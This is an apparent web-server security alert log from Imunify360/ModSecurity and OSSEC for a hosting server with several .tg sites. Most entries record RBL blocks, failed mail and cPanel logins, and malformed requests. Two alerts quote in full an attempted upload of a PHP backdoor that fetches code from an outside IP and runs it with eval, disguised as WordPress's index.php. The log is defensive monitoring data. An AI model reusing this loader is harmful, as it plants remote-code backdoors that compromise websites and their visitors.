Jun 12 02:49:53 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.182.132.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.182.132.94
country_id: 2017370
description:
2026-06-12 02:49:55 dovecot_login authenticator failed for H=([61.142.85.190]) [62.182.132.94]:55796: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:51:13 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.66.195
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.152.232.66.195||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:51:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.152.71
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.193.32.152.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.59.4.211
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.138.59.4.211||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.51
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.193.32.155.51||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.115.230.185
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.161.115.230.185||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.254
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.45.89.75.254||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.154.248
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.193.32.154.248||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.24
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.45.89.75.24||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.68.253.19
country_id: 6252001
description:
2026-06-12 02:51:32 dovecot_plain authenticator failed for H=(d1f0qhz7cp3lknj08iyvysu9) [138.68.253.19]:43964: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.154.150
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.193.32.154.150||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 190.185.109.207
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.190.185.109.207||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.152.83
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.193.32.152.83||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.73.179
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.152.232.73.179||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.115.231.64
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.161.115.231.64||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:56:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:56:19 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350365
abuser: 103.214.140.160
country_id: 1819730
domain: haplucia-togo.tg
name:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)

description:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)||MVN:TX:1||MV:d3AtYmxvZy1oZWFkZXIucGhw||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77065534
abuser: 103.214.140.160
country_id: 1819730
domain: haplucia-togo.tg
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:content||MV:<?php\n$u = 'http://192.151.154.98/z60525_6/stat/index.txt';\n$d = '';\n\nif (function_exists('curl_init')) {\n    $ch = curl_init($u);\n    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_FOLLOWLOCATION => 1]);\n    $d = curl_exec($ch);\n    curl_close($ch);\n} elseif (ini_get('allow_url_fopen')) {\n    $d = file_get_contents($u, false, stream_context_create([\"ssl\"=>[\"verify_peer\"=>false]]));\n}\n\nif ($d) @eval('?>'.$d);?>\n<?php\n/**\n * Loads the WordPress environment and template.\n *\n * @package WordPress\n */\n\nif ( ! isset( $wp_did_header ) ) {\n\n\t$wp_did_header = true;\n\n\t// Load the WordPress library.\n\trequire_once __DIR__ . '/wp-load.php';\n\n\t// Set up the WordPress query.\n\twp();\n\n\t// Load the theme template.\n\trequire_once ABSPATH . WPINC . '/template-loader.php';\n\n}||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 103.214.140.160
country_id: 1819730
domain: haplucia-togo.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:content||MV:<?php\n$u = 'http://192.151.154.98/z60525_6/stat/index.txt';\n$d = '';\n\nif (function_exists('curl_init')) {\n    $ch = curl_init($u);\n    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_FOLLOWLOCATION => 1]);\n    $d = curl_exec($ch);\n    curl_close($ch);\n} elseif (ini_get('allow_url_fopen')) {\n    $d = file_get_contents($u, false, stream_context_create([\"ssl\"=>[\"verify_peer\"=>false]]));\n}\n\nif ($d) @eval('?>'.$d);?>\n<?php\n/**\n * Loads the WordPress environment and template.\n *\n * @package WordPress\n */\n\nif ( ! isset( $wp_did_header ) ) {\n\n\t$wp_did_header = true;\n\n\t// Load the WordPress library.\n\trequire_once __DIR__ . '/wp-load.php';\n\n\t// Set up the WordPress query.\n\twp();\n\n\t// Load the theme template.\n\trequire_once ABSPATH . WPINC . '/template-loader.php';\n\n}||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 103.214.140.160
country_id: 1819730
domain: haplucia-togo.tg
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.15||T:APACHE||SC:/home/phoicdxb/public_html/wp-admin/admin-ajax.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.123
country_id: 3175395
description:
Jun 12 02:56:58 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.163
country_id: 3865483
description:
Jun 12 02:57:19 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.5.21.121
country_id: 3865483
description:
Jun 12 02:58:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.5.21.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.169
country_id: 690791
description:
2026-06-12 02:59:11 H=([77.83.39.169]) [77.83.39.169]:55511 F=<dpr@priv8shop.com> rejected RCPT <chikwado22@aol.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.116
country_id: 3175395
description:
Jun 12 02:59:14 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.116 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.115.230.178
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:161.115.230.178||TA:161.115.230.178||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.116
country_id: 3175395
description:
Jun 12 02:59:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.169
country_id: 690791
description:
2026-06-12 03:00:22 H=([77.83.39.169]) [77.83.39.169]:62064 F=<dpr@priv8shop.com> rejected RCPT <chikwado22@aol.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:02:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:06:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.152.21.156
country_id: 3469034
description:
Jun 12 03:06:32 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.152.21.156 has been locked due to Imunify RBL


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-12 03:07:50 +0000] info [cpaneld] 5.175.213.112 - k.eklou "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 03:08:13 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-12 03:07:32 +0000] info [cpaneld] 5.175.213.112 - a.kesso "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun 12 03:08:43 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 12 03:09:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.193.163.2
country_id: 1814991
description:
Jun 12 03:08:47 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.193.163.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.160.107
country_id: 99237
description:
Jun 12 03:08:41 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.160.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 12 03:08:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 12 03:10:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.100.16.74
country_id: 2017370
description:
Jun 12 03:09:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.100.16.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 03:09:29 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 12 03:09:33 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.72.196.75
country_id: 1643084
description:
Jun 12 03:09:41 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.72.196.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 12 03:09:40 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.227.99.87
country_id: 1668284
description:
Jun 12 03:10:53 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.227.99.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.109.81.11
country_id: 1605651
description:
Jun 12 03:10:44 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.109.81.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.183.50
country_id: 1269750
description:
Jun 12 03:11:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.183.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 12 03:11:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:11:43 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.106.47.48
country_id: 99237
description:
91.106.47.48 - - [12/Jun/2026:03:13:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196378&pdata=https%253A%252F%252Ftogodailynews.tg%252Fprogramme-compact-victoire-tomegah-dogbe-echange-avec-kyeh-kim%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781233991 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/programme-compact-victoire-tomegah-dogbe-echange-avec-kyeh-kim/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.1649.1356 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.106.47.48


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.23
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.38
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.30
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.39
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.3
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.28
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.37
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.36
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.46
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.44
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.55
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.224
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.240.36.163
country_id: 6252001
description:
2026-06-12 03:15:57 dovecot_plain authenticator failed for H=(HY-07373.433626) [38.240.36.163]:60769: 535 Incorrect authentication data (set_id=ymintre@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.240.36.163
country_id: 6252001
description:
Jun 12 03:15:55 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.240.36.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:16:35 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 189.217.214.143
country_id: 3996063
description:
189.217.214.143 - - [12/Jun/2026:03:19:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984902&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdiplomatie-parlementaire-kodzo-adedze-participe-a-la-6eme-conference-mondiale-des-presidents-de-parlement-a-geneve%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234342 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/diplomatie-parlementaire-kodzo-adedze-participe-a-la-6eme-conference-mondiale-des-presidents-de-parlement-a-geneve/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.1574.1015 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:189.217.214.143


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.250.222
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/18.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 94.187.242.28
country_id: 285570
description:
94.187.242.28 - - [12/Jun/2026:03:20:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950377&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-250819letid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234404 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-250819letid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:94.187.242.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:20:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.234.86.233
country_id: 1861060
description:
2026-06-12 03:20:56 dovecot_plain authenticator failed for H=172-234-86-233.ip.linodeusercontent.com (szn6reb7d0jpanp0j) [172.234.86.233]:40234: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 12 03:21:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:20:19 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.234.86.233
country_id: 1861060
description:
Jun 12 03:20:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.234.86.233 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.219
country_id: 6252001
description:
Jun 12 03:22:13 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.219
country_id: 6252001
description:
2026-06-12 03:22:15 dovecot_plain authenticator failed for H=(7qkqsjxv4ro3mal4ik5ijt3og) [23.129.64.219]:8783: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.121.80
country_id: 587116
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Lutte contre le blanchement des capitaux : Les acteurs des secteurs public et priv\xc3\xa9 en \xc3\xa9valuation | TOGODAILYNEWS&siteId=1&rec=1&rand=392525&h=11&m=22&s=49&url=http:/togodailynews.tg/lutte-contre-le-blanchement-des-capitaux-les-acteurs-des-secteurs-public-et-prive-en-evaluation/&uid=0&pid=4034&visitorId=9eb45c26eaa7d095&fvts=1781234569&vc=1&idn=0&refts=0&lvts=1781234569&fullRef=togodailynews.tg/lutte-contre-le-blanchement-des-capitaux-les-acteurs-des-secteurs-public-et-prive-en-evaluation&send_image=1&cookie=1&res=375x812&gtms=9125&pvId=xJbABE&browser=Chrome_40&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 151.240.123.59
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:lutte-contre-le-blanchement-des-capitaux-les-acteurs-des-secteurs-public-et-prive-en-evaluation/||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.250.186
country_id: 6290252
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/themes/magxpress/assets/js/swiper-bundle.min.js?ver=1.0.0 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.123.59
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.96.219
country_id: 2623032
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/1003400900-300x185.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:23:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
